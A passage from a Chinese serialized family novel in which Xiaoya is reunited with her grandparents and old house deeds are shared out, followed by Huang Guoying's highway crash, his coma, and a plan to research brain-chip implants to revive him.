黄国英笑着安慰大凤。“你看你,怎么把吃顿饭看得这么严重?弄得跟上刑场似的。放心吧,有我呢啊。一定把小雅给你带回来。” 大凤二话没说转身就进了屋。 秦国颂,黄国英,小雅三人转身向外院外走去。秦国颂对黄国英说。“我来的时候,王文甫特意给我说。最好能把老爷子也带上。”他说的老爷子指的是张子东。 黄国英把食指放在嘴边嘘了一下。“千万别声张了。老爷子听说了这事,心里也是不舒坦的,这两天竟独自喝闷酒了。可别再招惹他了。” 秦国颂不言语了。他们三人默默的走出了大院。 …… 他们三人来到了公司。径直去了王文甫的办公室。王文甫正在与留在这的安康交谈,看得出两个人谈的话题还比较开心。安康的眉宇间明显的表现出与刚来的时候不一样,不那么拘谨了,倒显出了几分自在与亢奋。轻松的表情和动作已经把他自己不当外人了,这就是安康独有的性格特征,他能很快的把一般的关系转变成不一般的关系,他似乎有这个独特的能力,这一点与秦国颂是大不相同的。按常理说,这次饭局是王文甫家庭内部的事情。作为外人的安康,应当主动提出来退出。然而安康却把这次机会当成了他似乎也成为了这家庭一员的角色,他真的没把自己当外人,轰都轰不走了。 王文甫看着他们三个人进来,起身与黄国英握手,然后把目光转向小雅,露出温和与慈祥的微笑。 “呦,黄雅清。你这次也不是来应聘的吧?”他想起了他们第一次见面。秦国颂领着小雅来应聘的事,他开起了玩笑。 小雅倒有些不好意思了。看看秦国颂,看看王文甫。“您还记得我的姓名?” 秦国颂对小雅说。“这就是你的姥爷。我就是领着他去高阳接你姥姥的。你姥姥也来了。” 小雅一下子愣在了那里。一句话也说不出。只是愣愣的看着王文甫。嘴张了几下没有说出声。 王文甫拽过小雅的手。“宝贝儿。他说的是啊,他说的对呀,我就是你姥爷。这事儿还真的多亏了他呀。” 小雅看看王文甫,又看看秦国颂,张嘴说了一句。“我说过的,他是我的贵人……”转脸又看向满眼慈祥的王文甫,大声的叫了一声:“姥爷!” 王文甫大声的答应着。一下子就把小雅抱在了怀里。他拿出手帕擦拭着自己激动的泪水,心里的那个爱呀,嘴里喃喃的说。“好宝贝,好宝贝!我带着你去见一个人,去见你姥姥。” 小雅使劲的点了点头。 王文甫领着小雅走出了办公室。 屋里剩下了黄国英,秦国颂,安康三个人。安康此时的表现俨然成了这个屋中的主人,他招呼黄国英与秦国颂坐下抽烟喝茶。并且神秘的对他们两个人说道。“董事长已答应我在这里工作了。他说先让我负责办公室这一块工作。至于无线电专长那一块要还需要进一步的考核才能认定。再说了,办公室这块工作咱也不是外行啊。在无线电厂,我从事这方面的工作时间也不短呀。” 黄国英与秦国颂都微笑着向他表示祝贺。 秦国颂笑着说。“你这真是绝处逢生啊。真行!安康大哥。我太佩服你了。” 黄国英说。“安康这个人呐,放到哪里都行,生存能力极强。如果放到一个孤岛上,假如岛上的人都饿死了,唯独他一个人能活……” 接着他话锋一转。“王文甫的公司现在正是在用人的阶段。你要好好发挥你的特长,好好的表现呀。给他做出一些成绩来,别让他们看不起咱们。” 安康连连点头称是。他对秦国颂说。“当年去无线电厂上班,是你沾了我的光。现在能来到凤凰雅致有限实业公司,是我沾了你的光。这一下咱俩可扯平了啊,谁也不欠谁的了。” 说完哈哈大笑起来。 秦国颂微微一笑。“去无线电厂上班,我永远记着呢。安康大哥对我的关怀照顾,我也都永远记着呢。但有一样咱俩还是扯平不了。那就是二凤……这个事我也记着呢。二凤都对我讲过……那是我俩在建设兵团的时候……好了,这些不愉快的事情都不说了。咱们都向前看吧!好吗?安康大哥。” 安康若有所思的点了点头。他心里觉得自己今天的表现是不是有点过了?是否有了些得意忘形。 就在这时办公室的门开了。王文甫,曹静稚,小雅三个人走了进来。小雅搀扶着曹静稚与王文甫。小雅的姥姥曹静稚眼睛里含着泪花,一只手紧紧的握着小雅的手。他们三人走到秦国颂面前。小雅的姥姥拉着秦国颂,嘴里说着。 “嗯。是你,是你呀!这么多年了,你还真的是没有什么变化。让我好好的再看看你。20多年前你和那个叫什么,哦,对了,叫二凤。那可是个好丫头啊。她怎么没来呀?” 小雅接过话说道。“我二姨现在可是大忙人。我们都轻易见不到她了。” 曹静稚说道。“哦。那丫头可有出息啊,我把家里的事好多事都讲给了她,哦,还有这个……” 秦国颂赶紧扶着曹静稚坐在沙发上。安康过去搀扶着王文甫坐在旁边。 曹静稚边从怀里拿东西边说。“那天你带着他们去高阳。我还都没来得及好好看看你,你就跑了,让我这个心里头真不是个滋味。你说你跑什么呢?” 她缓缓的从怀里拿出一个布袋。布袋里用塑料布包裹着一叠旧纸。他揭开塑料布,一张一张的把里面的旧纸展开……这些发旧了,已经变黄了的纸,就是他们居住的那座~~我们已经熟悉的不能再熟悉的那座大院的房契。 曹静稚看着秦国颂。“我要是没记差的话,对房契的事儿,我只跟那个叫二凤的丫头说过,因为我知道小雅被她姐收养着。我就对她说一定要保守秘密,跟谁都不能讲。这些房契将来等小雅长大了,也许能用得着,你可以到我这里来取,没想到还真的有这一天呀。在那个年代私藏房契,这可是罪过呀……二凤这个丫头真守信用。她真的对谁都没有说……” 他看了看王文甫,又看了看秦国颂,再把目光看向小雅。 “我这宝贝外孙女。真像我那早早去世了的闺女啊。真像,简直就是一个模子里抠出来的……” 说着又把小雅紧紧的抱住。不肯松手了。 秦国颂蹲下身慢慢的捡起掉在地上的一张一张的房契,把它放回曹静稚的手上,曹静稚摆了摆手没有接。边流着泪边说。 “这房契我想把它分成四份。一份给小雅。一份给小雅她妈,就是大凤。还有一份呢给你,秦国颂。最后剩下的一份就给小雅她姥爷……” 她看了看王文甫。“这么分,行吗?” 王文甫点了点头。“我那一份就不要了。都给了小雅,行吗?” “行啊,行啊。都给了我这宝贝丫头。” 秦国颂赶忙说。“大妈,我这份也给了小雅,我也不要。我哪有资格要啊!真的,我不要。” 小雅看着秦国颂,冷静的说道。“给你,你就要。你不要,就成了外人了。我姥姥的心意你还不懂吗?” 秦国颂态度坚定的说道。“老人家这份心意我领了。但是这个我不要。我真的不要。谢谢老人家您了。” 小雅的姥姥曹静稚擦了擦眼泪。“吃水不忘挖井人。你是我们家的恩人呢,如果不是你,我一个孤老婆子还在那个农村的小院子里……他们有可能一辈子都找不到我……” 秦国颂的脸又红了。他忽然心有愧疚的想起了大凤。他使劲的摇了摇头。 “老人家可别这么说了。这是您的命里该有的呀。我以前不大相信什么命,现在我真的开始相信了……” 这时候站到一旁的安康插话说道,“老人家,这都是改革开放的好啊。我们都是沾了现在这个时代的光啊。”他又转脸看向王文甫。“董事长,您说我说的对吗?” 王文甫连连点头。“说的不错。但是假如没有秦先生的话,我们的相见也许还是个未知数。” 小雅抬起头,哄着她的姥姥。“姥姥,他是咱们家的贵人。我一辈子都忘不了他……” “嗯嗯。真的不能忘了他,还有那个叫二凤的。哦,就是那个,那个是你二姨。等她回来我一定要见见她。他们都是好人啊……”一边说着,一边又流下了眼泪。 小雅赶紧忙拿毛巾给她姥姥擦眼泪。 小雅一边给她姥姥擦眼泪,一边嗔怪的说道。“您看您净顾了流眼泪了,我爸也跟着来了,都没有顾得上给您介绍呢。” 小雅把目光转向了黄国英,曹静稚也随着小雅的目光一同看了过去。那边坐着的黄国英赶紧站了起来,曹静稚让小雅搀扶着,也站了起来。黄国英上前两步握住了曹静稚的手。 “老人家,您受苦了。” “嗯?他大兄弟,你辛苦了呀。你们把小雅带这么大,我们怎么感谢你们呀?真的要好好的谢谢你。你这个当爸爸的也真的不容易呀……小雅她妈妈怎么不来呢?” 黄国英扶着曹静稚,“她妈妈工作上有事情来不了。她说了过两天专程来看看您呢。” 曹静稚看着黄国英说。“我去看她,明天我去看她!我要当着面好好的谢谢她,这20多年,不易呀!” 她看了看屋里的人。“你们瞧瞧咱们光在这屋里说话了。这么晚了,你们都饿了吧!咱们去吃饭吧。” 王文甫说道。“咱们过去吃饭吧。那边的饭菜都准备好了。” 曹静稚一边搂着小雅,一边搂着黄国英。“走,咱们走吧,吃饭去。” 宽大的圆桌围绕着坐着一大家人。唯独缺少了大凤与王清文。 小雅的姥姥一边坐着黄国英一边坐着小雅。小雅紧挨着她姥姥,姥姥曹静稚用手紧紧的搂着小雅,一刻都不肯松开。小雅用筷子给她姥姥夹菜喂到她姥姥嘴里,姥姥俩这种亲密举止感动着屋里的所有人。曹静稚几次欲言又止地要提到王清文,均被王文甫用示意的目光压了回去。曹静稚也是知识女性,别看年纪大了,却深谙王文甫的用意。她嘴里吃着小雅喂给她的菜,搂着小雅恩爱的笑着。笑着笑着又流下了泪水。 “宝贝丫头,好闺女。一会儿吃完饭陪姥姥去屋里,今天晚上陪姥姥睡觉,不要回去了啊?” 小雅使劲的点着头。“我不回去了。我还想多陪姥姥住几天呢……” 她这话一出口,惊呆了秦国颂与黄国英。 两个人挨着座位吃饭,黄国英看着秦国颂,秦国颂看着黄国英。 这,这,这……回去怎么跟大凤交代? …… 第51章 重回故里 秦国颂看着黄国英。他用恳求的眼神示意黄国英该说话了。黄国英轻轻点了点头,对正在与姥姥撒娇的小雅说道。 “今天咱们吃过晚饭是要都回去的,来的时候给你妈说好了。忘了吗?” 小雅说。“我就要陪姥姥住一晚嘛,一会儿吃完饭我给我妈打电话。看我妈说什么。好吧?” 曹静稚笑着说道。“好,好,一会儿给你妈打个电话。省得让她不放心。姥姥舍不得我们宝贝丫头哦,让她多陪陪我。看到她想起了我那……” 她说到这里看了看王文甫,把后面的话又咽了回去。 “那我现在就给我妈妈打电话。”小雅有些急不可待。 “好,好。现在就打。”王文甫微笑的点头答应。对坐在他旁边的秘书说道。“你去一趟我的办公室,把我办公室的子母机电话,那个子机拿过来。看一下信号够不够,不够的话,小雅再过去打也行。” 安康到了显示他无线电领域知识的机会了,连忙说道。“估计差不多。理论上讲,50米之内都可以。” 王文甫微笑的向他点了点头。吩咐秘书去取电话。 电话取来了,小雅拨通了她们家的电话。接电话的正巧还是大凤,她正在爸妈的屋里陪着他们。小雅对大凤讲了要在公司里陪着姥姥姥爷住一晚上。大凤断然拒绝了,并且告诉她,让她立即回来。 小雅沮丧的放了电话,撇着嘴,眼泪在眼眶里打着转。 曹静稚搂紧了小雅。安慰着她说。“还是听你妈妈的话吧。吃完了饭多陪姥姥待一会儿,再回去。” 秦国颂看到这场景。不由得脱口而出。“实在不行的话,小雅愿意陪着姥姥,那就把姥姥带回咱们大院儿。到你们家住一晚上。” “对呀!”小雅一下子破涕为笑了。“这么简单的事,我怎么就没想到。姥姥,姥姥,吃完饭咱们一起回家吧。见见我妈,见见我那边的姥爷,姥姥他们。看看你这么多年没有看到过的大院……不过现在那个大院已经不是从前了。没院子了,已经面目皆非了。” 黄国英拍了拍手。“非常好!您老人家这也算是故地重游啊。晚上你就和小雅睡一屋,好好的唠一唠家常。好吗?” 曹静稚笑着点着头。眼里泛出的泪花。“好,好!有我的宝贝闺女陪着我比什么都好。到哪去都行啊!” 于是小雅又拿起了电话,打给家里。小雅说明了情况。电话那边的大凤点头答应了。 于是人们兴高采烈地继续吃饭。他们暂时的忘了一个人,这个人就是独自在房间里等待着信息的王清文,他在自己的房间里踱着步,一只又一只的抽着烟。 …… 吃过晚饭。王文甫带了一大家的人开车来到了这座大院。 曹静稚在小雅的搀扶下一步一步踏上了大院的台阶,大院门口左右那两尊石鼓还在。她沿着大院的门廊缓缓的走着,迎面那个大影壁上那个大大的福字已经不知去向,已经被灰刷成了一道白墙。再往左拐就是进院门口的那道门廊,门廊上的雕框花窗早已不见了踪影,只剩下几根斑驳的框架在那里支撑着。走进现在这个所谓的大院右边第一间南房就是范长庚在文革时新翻盖的那屋就是大雅以前住的房间。现在住在这间房的房主依旧是窗门紧闭,门前仍然挂着个棉门帘子。曹静稚走到了门口,脚步缓慢了下来。她停下脚步,看了一眼那棉门帘子,转身又缓缓的走去。 小雅领着她沿着曲流拐弯的院里的人们盖小房留下所谓的路向院进深里走去。小雅对曹静稚说道。 “这就是现在所谓的大院。以前那个大院现在被瓜分蚕食成这个样子。这也是没有办法的事。住房紧张嘛。” 曹静稚无可奈何的点了点头。 一行人直接去了张子东老俩的房间。张子东的房间里可真热闹。一大家的人都在这里静静的等待。现在他这一大家有多少口人呢?近20口子人,女儿女婿孩子。张子东一共有6个女儿,结婚以后都在这个院子里住。除去大凤二凤,4个女儿,4个女婿,4个孩子,你想想这会有多热闹。因为张子东喜欢热闹。 张子东率领着屋子里的人都在门口迎接王文甫一行人的到来,这场面真的热闹极了。王文甫开玩笑的说。 “这待遇规格都超过我们公司了!” 王文甫特意的给张子东带来了两箱茅台酒。拉着张子东的手说。 “老伙计啊,咱们又见面了。我这次还特意的带来了酒。咱们老哥俩喝点儿?” 张子东哈哈大笑的说:“你这是晚上没喝呀?还是没喝够啊。行,弄几个菜,咱们老哥俩再喝几盅!” 大凤忙活着去弄菜。屋子里的人太多了。王文甫拿出带来的礼物分发给屋子里的人。这些礼物大都是他在台湾公司生产的家用小电器。尤其是他带来的游戏机最受孩子们的欢迎,孩子们兴高采烈,欢呼雀跃。 张子东屋里屋外的动静让没有睡觉的邻居们赶来看热闹,邻居们纷纷祝愿贺喜,这场面温馨而热烈。 屋里地方盛不下了。人们就搬了椅子,凳子到屋门口的廊檐下面开心的交谈。张子东与王文甫两位老先生支了个小桌,在屋里喝着小酒。黄国英,秦国颂,安康也加入了这喝酒的场合。夏日的夜晚伴着这热气腾腾的场面悄悄的逝去。时间已近午夜12点。 王文甫提议时候已经不早了,该回酒店该回公司了,于是起身告辞。张子东再三挽留。王文甫双手作揖,再三致谢,并言称,来日方长,改天再聚。 自然,曹静稚就留下了陪着小雅。姥姥俩就住在了小雅的屋里。秦国颂没了地方住,王文甫就叫他跟着回公司住,黄国英征得大凤的同意,一并跟着众人回公司。一起回公司的人还有安康。 大凤送他们出大院的时候,看到明显喝了不少酒的黄国英搂着秦国颂走到汽车前,秦国颂也有些醉意的红着脸与黄国英搂抱着拉扯着上了汽车。最后上车的安康面向出门来送行的大凤摆了一个捉摸不透的手势。显然安康没有喝多少酒,他清醒的很。 大凤此时的心里竟然有些莫名其妙的醋意。 …… 回到酒店后。王文甫叫秘书给他们安排了住宿。秦国颂对秘书说给他们三个人安排一个三人套间即可。秘书无奈的对秦国颂说公司没有订那样的房间。都是双人房的。黄国英提出他与秦国颂住一间,安康则被单独的安排了一间。他看着黄国英与秦国颂簇拥着进了他们的房间,他的脑海里一下子想起了20多年前在无线电厂秦国颂的工作间看到的那一幕,黄国英与秦国颂热情的拥抱。并且他还把他看到的情景告诉了正在偷着与秦国颂热恋的二凤。他那时的目的就是想要拆散秦国颂与二凤,并予达到他追求二凤的目的……其实那次秦国颂与黄国英热情拥抱,是为了庆祝他们研制的电视机成功而作出的激动之举,没想到这一动作给了安康的可乘之机。 然而20多年前的那一幕,今晚上又重现了。他摇了摇头,进了自己的房间。 黄国英与秦国颂相互拥抱着进了房间。今天他们俩都喝了不少酒。黄国英喝酒是为了秦国颂,而秦国颂喝酒是为了给自己壮胆儿,他心里耿耿于怀的还是大凤,他一直悬着的心到现在的此时此刻,才彻底的放下了。事情进展的很顺利,依着大凤的说法,小雅到底是“全须全尾”的按大凤的要求回了家。 他们住的房间是双床房间。一人一张宽大的床。黄国英先去了洗漱间洗澡,洗完澡后,他围着围巾对秦国颂说。 “你也去洗吧。时候不早了,赶紧洗完睡觉。” 秦国颂醉眼朦胧的坐在床上脱衣服。点着头答应着。他脱的赤条条的起身摇摆着向洗漱间走去。黄国英赶紧过去把他扶住。小声温柔的嘱咐他。 “你可要注意了。里边的地滑,别摔着……” 秦国颂依旧的是红着脸点着头。嘴里嗯嗯着。 “没事儿……有你呢,摔不着……” 这话还没有说完呢,脚底下一出溜,险些滑倒。黄国英上前赶紧的把他抱住。秦国颂也顺势紧紧地抱住了黄国英。 黄国英把嘴凑到了秦国颂的耳边。温柔的说道。 “一再的嘱咐你,让你注意。看看看看,差一点吧。没我扶着你非摔坏了不行……”他用手抚摸了一下秦国颂的后背。“从来没有看到过,你长得可真白……”说到这儿,他的身体竟然有了莫名其妙的冲动。 秦国颂下意识的点了点头。忽然他对黄国英说。 “小雅他爸爸王清文去哪儿了?” …… 王清文此时还独自一个人在房间里。他也没有睡。依旧吸着烟…… 第52章 命里注定 黄国英与秦国颂两个人到了黎明时分才入睡。秦国颂睡得很实,黄国英则兴奋的基本上一晚上没有睡。 他躺在秦国颂的身边。大脑在不休止的回忆与幻想。他想第一次遇到秦国颂时那个可爱的大男孩漂亮与羞涩的面容,从那一刻起,他几乎和他媳妇儿大凤同时爱上了秦国颂。这种爱是那样的无私,那么的坦荡。接下来就是二凤,她与秦国颂慢慢的就好上了,成了不为众人所知道的恋人关系。但秦国颂几乎是在第一时间把与二凤的关系告诉了他,告诉了大凤。他与大凤为秦国颂二凤纯洁的爱情从心底里替他们暗暗的祝福。面对如此透明的秦国颂与如此透明的二凤,让任何人心里无法有其杂念。然而就在那一刻,他的心里稍稍的还有了些许酸楚。尤其是二凤跟着秦国颂去出远门,他竟然感觉到有些失落,他把这种失落的情绪与他的妻子大凤讲了。大凤竟然深有同感。爱情究竟是个什么玩意儿?他曾几次的问过自己,但是他没得到自己最满意的答案。尤其是他与大凤的婚姻,这种无性婚姻延续了20多年。大凤贤惠善良,忍辱负重。对这样的婚姻从未提出过半点非分之想,这让他想起来就想哭……有了小雅以后,大凤的心思基本上都扑在了这小丫头身上,把一生的爱全部给了这个没有任何血缘关系的闺女,把她视为己出精心呵护,抚养她长大成人。他从内心深处深深的感到他对不住大凤,也对不住自己。他觉得自己似乎有些悲哀,有些可怜。大凤才是伟大的女人,天底下最无私的女人…… 黄国英有些羞愧的觉得自己在女人面前根本就称不上为是一个男人。然而他竟然在一个男人面前恰恰的做了一回真正的男人……他想把这种感觉告诉大凤。请求大凤与他离婚。因为今天他才真切的感受到他耽误了大凤这么多年,真的是对不起她。然而一句简单的对不起是无法原谅他这么多年对大凤也是对他深爱着的女人所犯下的时间错误,他竟想到了死…… 他躺在床上胡思乱想。迷迷糊糊的刚要睡去的时候。听到有人在敲他们房间的门。 他起身把房门打开。敲门的人是安康。 安康对他微微的笑着。这笑脸里似乎有些神秘。只听他诡谧的说道。 “没打搅二位的美梦吧?都8点了。再不去吃早餐,早餐的时间就要过了。” “哦……”黄国英打了一个长长的哈欠。向房间里面努了努嘴儿。“那哥们儿还在酣睡,我不忍叫醒他。你去把他叫醒。” 安康走到秦国颂的床前。秦国颂的床上放着两个枕头。房间的另一张床上,床单平平整整,不像有人睡过的痕迹。床上的枕头跑到了秦国颂的床上。 安康长长的发出了一声“噢”~~他看了看还有些迷糊的黄国英。 “晚上你们俩是在一张床上睡的觉啊?” 黄国英“嗯”了一声。点了点头。他似乎清醒了一些。反问道。 “是啊。是,是睡的一张床,这有什么不对吗?哪有规定两个男人不能睡一张床?”继而他又补充道。 “上学时咱们住集体宿舍还睡大通铺呢。那都是男生啊。” 安康依旧是诡秘的微笑。推着躺在床上的秦国颂,嘴里说道。“大少爷。亲爱的。该醒醒了,要吃早饭了!” 黄国英听着安康说的话。噗嗤一下笑了…… “你看他这睡觉的姿势,像不像个女人?可他偏偏却是个男的……” …… 秦国颂被安康摇晃醒了。他睁开眼睛看了看站在他旁边的安康,又看了看站在另一边的黄国英。脸上一下子就挂起了他常有的带有羞涩味道的绯红。他有些不好意思的笑了笑。 “嗯,嗯。我这一觉睡的,真美。” 他边说边爬起来去洗漱间洗漱。安康站在一旁,看着秦国颂的身子走进洗漱间。他笑着对黄国英说。 “这身条真好看。从背面看真像个女人……” 黄国英若有所思的“嗯”了一声。 …… 吃过早餐。他们三人一起来到了王文甫的办公室,王清文也在王文甫的办公室。黄国英对董事长王文甫说他要回去了。单位还有事情等着他呢。他这一出来都两天了。幸亏昨天是星期天。他又转身给王清文握了手。两个男人紧紧的握着手没有说更多的话。千言万语都在这握手告别之中。黄国英暗暗的想,下星期他一定回来。一定要尽力安排小雅与王清文见上一面。把这一层关系彻底的与小雅说清,告诉她王清文就是她的生身父亲。黄国英与秦国颂两个人的性格基本相同,大多都是想的多,说的少。只相信实际行动。 他与王清文握完手。又拉着安康的手嘱咐了几句。无非就是工作上的事情,让他好好的在公司干,干出一些样子来,不能辜负董事长对他的信任。 王清文,安康,秦国颂都出来送他。 秦国颂给了他一个拥抱。贴着他的耳朵说。“一路顺风。期待下周再见。想你……” 黄国英上了他开着的那辆警车。挥手与众人告别。 “再见。下周日再见!” …… 黄国英开着警车上了高速。他看了看表,时间还不算太晚。心想一个多小时就到单位了。又想了想,走的太匆忙了,都没有给大凤她们打个电话告诉一声。转念又一想,到了单位再说吧。 这条高速公路是新建成的。路上车子很少,再加上路是三股道。于是他加大了油门快速驶去。 此时此刻,他脑子里依旧在想着秦国颂。想着昨天发生的一些事情。想着想着他的眼前竟然有些朦胧。他使劲儿眨了眨眼,强迫自己不再去想这些东西,打起精神,专注开车。车子驶过了一个区域,下一个区域他就要注意了,他非常清楚,这条新建成不久的高速公路在那个区域接连发生过好几起交通事故。并且民间还流传了好多比较邪性的说法。坊间传说在修高速公路以前这一带是一大片坟地,尤其是在夜间行驶,经常莫名其妙的有一些影子出现。致使分散了开车司机的注意力,发生了车祸。黄国英心想,不管这些传说是真的假的,但车子开到这儿一定要加倍注意了,绝不可以掉以轻心。 他心里想着,瞪大了眼睛,提高了警惕,紧握了方向盘。并且还缓缓的减慢了速度。 他看到了高速公路两旁竖的大牌子:多事故发生区,请注意通行,减速行驶。 他意识到了自己已经行驶到了这个区域。 他减了速继续行驶。看着车窗外闪过的警示牌。心里想这条路不是很长。很快就会过去的。 车子继续向前行驶着。黄国英的脑子里慢慢的放松了警惕性,脑海里又闪现出秦国颂的身影。他的眼前忽然模糊了起来,加上他一夜都没有怎么睡觉,困意立即袭来。他下意识的意识到,这是要睡觉的感觉,而且还是要睡着了的感觉。他使劲的摇晃了一下自己的头,努力的睁大眼。心里狠狠的告诫自己,千万不要睡去。走过这段路,前面就是服务区。实在不行的话,去服务区里睡一会儿。就在他想的片刻。突然车前晃过一个身影,是不是身影他已经无法判别,你觉得有一个影子在他的车前晃了一下。他下意识的猛的一打方向盘。车子驶向了左边的隔离带,他清晰的看着隔离带极速的向他靠近。他下意识的去踩刹车。就在这一瞬间,他仿佛感觉到了“轰”的一声。整个的人便失去了知觉…… …… 王文甫的办公室。公司的高层领导正在开会,在座的有安康,此时的安康还不是公司的正式员工。王文甫特意安康在此露面。是为了让公司的高层认识一下他。而后再商讨对于他明确任职的意向,下来还要开董事会,王文甫要广泛的听取同仁们的意见。 会议正在召开。王文甫办公桌上的电话机响了。 王文甫拿起电话。来电话的是大凤。 “喂,喂!董事长您好。黄国英出事了!我刚接到的交通警察的电话。他在高速公路上出了车祸了!” 王文甫先是一惊。然后平和了一下心情。对大凤说道。“先别急。我这里正在开会。等一下,我马上安排车去接你。先不要着急啊。” 王文甫放下电话,对安康说。“给你安排一辆车,现在就去大凤家把大凤接来。具体情况你见了她就知道了。” 安康连连答应。站起身走出了办公室的屋。 安康坐着车快速的来到了大凤家。见到了大凤,大凤惊慌失措的对他说。“黄国英出事了,我刚接到的电话。这屋里就我一个人,别人都不知道呢。咱们赶快走吧……还要不要告诉别人?” 安康一拉大凤,急切的说道。“对谁都不要讲,咱俩赶快走。回头再给家里打电话!” 安康带着大凤来到了公司去见王文甫,大凤匆匆的给王文甫说了情况。王文甫思索了一下。 “这样吧,公司再派两个人跟着你们一起去。有什么情况要及时的跟我这边联系。听到了吗?” 安康忽然想起了秦国颂,秦国颂吃完早餐后又继续回他的房间里睡觉了。安康急急忙忙的来到了秦国颂的房间。敲醒了他。二话不说,拉起来就往外跑。 秦国颂眯勒马登的问安康。“到底出什么事儿了?这么急!” 安康没有回答他什么事情,只是催着他说。“快走,快走。出大事儿了。一会儿你就知道了!” 他拉着秦国颂快速的走出公司酒店。车子已经在酒店门口等着了。说来也巧,就在酒店门口他们碰到了王清文。王清文看他们急急忙忙的样子忙问他们干什么去。安康二话没说,拉着王清文一同上了车。他们快速上了车。秦国颂看到大凤坐在车子里边。连忙问道。 “大凤姐,这到底是出了什么事儿啊?” 大凤对秦国颂说。“黄国英出车祸了……” 秦国颂“啊”的一声。这一句话让他的头脑再怎么冷静也无法冷静了。他只觉得脑袋嗡的一下,眼前一黑,靠在了车子的座椅上。 王清文冷静的看了看大凤,问道。“严重吗?具体细节还不知道吧?” 大凤摇了摇头。 王清文说。“先别着急,等到了医院咱们看看情况再说,我是搞医的。放心吧,如果医院条件不行,我马上联系我们部队医院,迅速转院。” …… 他们的车子开到了黄国英住的医院。黄国英此时正在急救。急救室门口站了几个人,他们是黄国英单位的,也是刚刚接到消息,到来不久。 这是从急救室里走出一个穿白大褂的大夫。王清文急速地走上前去询问,大夫没有回答,急匆匆地摆了摆手走了。 他们一行人焦急的在急诊室门口等待。秦国颂靠着墙根瘫坐着,低着头一句话也不说。这时急诊室的门开了,出来一位大夫喊黄国英的家属,大凤赶紧上前应答。大夫告诉她病人现在昏迷状态,外伤不是很重。CT报告初步诊断是脑大面积梗塞。具体的诊断情况还得需要进一步的检查才能确诊,此刻病人仍未脱离危险,正在抢救。 第53章 命里注定(续) 医院里的抢救室外。 黄国英的亲朋好友都在焦急的在外面等待。 抢救室的门开的次数少了,穿白大褂的大夫与护士进出的速度也明显的放慢了许多。在外面等待的人也渐渐的恢复了平静。每个人的脸上都露出焦急的神情,急切的等待着,哪怕是没有结果的结果。 大凤先给家里打了个电话。接电话的是张子东。大凤控制着自己的语调与语速。告诉张子东自己和黄国英一起来省城了,过两天就回去。 秦国颂一直没有说话。只是用呆滞的目光看着急救室的门,期待着里面传出黄国英的消息。 王清文不时的和从急救室里走出来的大夫交谈几句,他出示了自己的身份,期待从同行那里尽快得到被抢救人的信息。他好做下一步的判断…… 安康给王文甫打了电话。告诉董事长,人正在抢救,还没有过危险期。有了消息他会及时汇报的。 时间在缓慢的一秒一秒的度过。秦国颂此时在备受煎熬。 安康看了看表。时间已经到了下午2点。他招呼着同他一起来的公司的两位职员一起出去买了些吃的。焦急等待的人们都没有心思吃东西,他们依旧在等待,等待…… 这些人在抢救室门外整整的等了一个晚上。谁也没有合一下眼睡一会儿觉,一直等到第2天的中午,一位抢救室的大夫叫了大凤与王清文一起去的办公室。 大夫告诉他们俩。黄国英的危险期已过,但是仍处在昏迷阶段。脑部大面积的梗塞已经伤及到了脑干。如果生命保住了的话,人有可能就成植物人了…… 大凤呆呆的听着大夫给她讲述。用空洞无望的眼神看了看王清文,王清文继续与大夫聊了几句。大夫对他讲,抢救室再观察一天,如果脱离了危险,那就转移到病房。只能期待后期治疗,看看有没有奇迹发生。不过他有些无奈的摇了摇头。对王清文说。 “你应该懂的。脑梗伤及到脑干,基本上恢复无望,能保住生命就相当的不错了,如果想做开颅手术的话,目前咱们医院的医疗水平不敢保证手术后人能恢复到怎样。弄不好人有可能还下不来手术台……一般的来讲都是保守治疗。” 王清文点了点头。对大夫说道。“先在这里观察几天再定。如果需要做手术的话,我们把他接回去在我们医院做,我们是部队医院各方面的条件都比这里要好些。好吧……” 大凤听着王清文与大夫的谈话。忽然他觉得这个人好面熟。哦,她想起来了,这个王清文就是新搬来她们大院的那个退了休的军医,他这个确切的身份也就是这两天大凤才知道,她听到过家里人念叨他,而且说他与小雅有关……大凤转念又一想,他怎么会突然出现在这里?谁通知的他?把他叫来的……只因现在黄国英生命攸关,大凤也来不及再细往深处想。只是忽然感觉到这事情比较蹊跷罢了。他们来医院时同坐的一辆车子。秦国颂与王清文坐在后座。大凤坐在前面,这一路上她压根就都没有发现有一个王清文在后面,因为在后面坐着的还有王文甫公司的两位员工,再加上一个安康。 …… 黄国英整日昏睡。除了呼吸与心跳这些生命体征外,已经没有了任何意识。在医院住院的这些日子,大凤心里盘算着怎么样把这件事情告诉黄国英的父母。在他与黄国英单位的人商量了以后,决定先把黄国英接回家,住在黄国英单位分配的房子里。然后再慢慢的向他父母渗透,慢慢的再向老人们说明情况。 在省会黄国英的家中,大凤秦国颂轮流的照顾黄国英。小雅也兼顾的过来替替他们帮帮他们照顾她的爸爸。 由于大凤还要上班。来回两地跑,照顾病人也不是长久之计。于是大凤决定把黄国英接回大院自己的家中。这样家里人多照顾起来就会更方便。更何况大院里还有一个懂医的王清文……又是这个该死的王清文……大凤的心里不知道怎么蹦出了这样一个念头。 黄国英出事以后。秦国颂的话越来越少。他整天的任务就是陪着大凤互相替换着照顾黄国英。 平淡的日子就这样一天一天的过去。王清文慢慢的与大凤和小雅熟悉了起来。大凤由对王清文最初的陌生慢慢对他产生了敬佩。她从心里已经明白了王清文与小雅之间的关系。但是王清文依旧像个外人一样过来帮助照顾一下黄国英问问情况进展怎样,从来没有表露过他与这家人的另一层的关系。他的言谈举止那样的自然,平静而得体。尤其是对小雅那分寸把握的那叫一个恰到好处。致使小雅一直觉得他就是一个热心肠的退了休的部队医生。 秦国颂对黄国英的这次意外触动非常大。他只觉得这次事故的发生与他有无法摆脱的干系,他的内心深处受到了极大的谴责。他每天最大的渴望就是想尽一切办法能让黄国英恢复了知觉。他甚至都想到了能否通过芯片植入大脑,让黄国英醒过来,哪怕醒过来一天也好…… 秦国颂在空闲下来查阅了有关芯片移植大脑的科技动态。他把这个想法告诉了王清文与王文甫。 王清文非常惊讶地听了秦国颂的想法。他冷静的思考着,觉得这个想法不错,鉴于我国目前的科学技术水平,这个想法也只是想法罢了。然而王文甫不这么看,他认为这个想法不但想的好,还真的超出了一般人的认知。他觉得他应当有能力试一试。他立即与公司总部的董事们开了电话会议商量,决定结合当前国际上芯片植入大脑的科技动态与发展现状,搞一下这方面的研究与探索。于是董事会集体商议决定,先成立一个这方面的研发小组,与美国IBM集团合作,共同开发研究。因为美国 IBM集团在两年前对这方面研究有了突破性进展,故而王文甫决定大胆的一试。 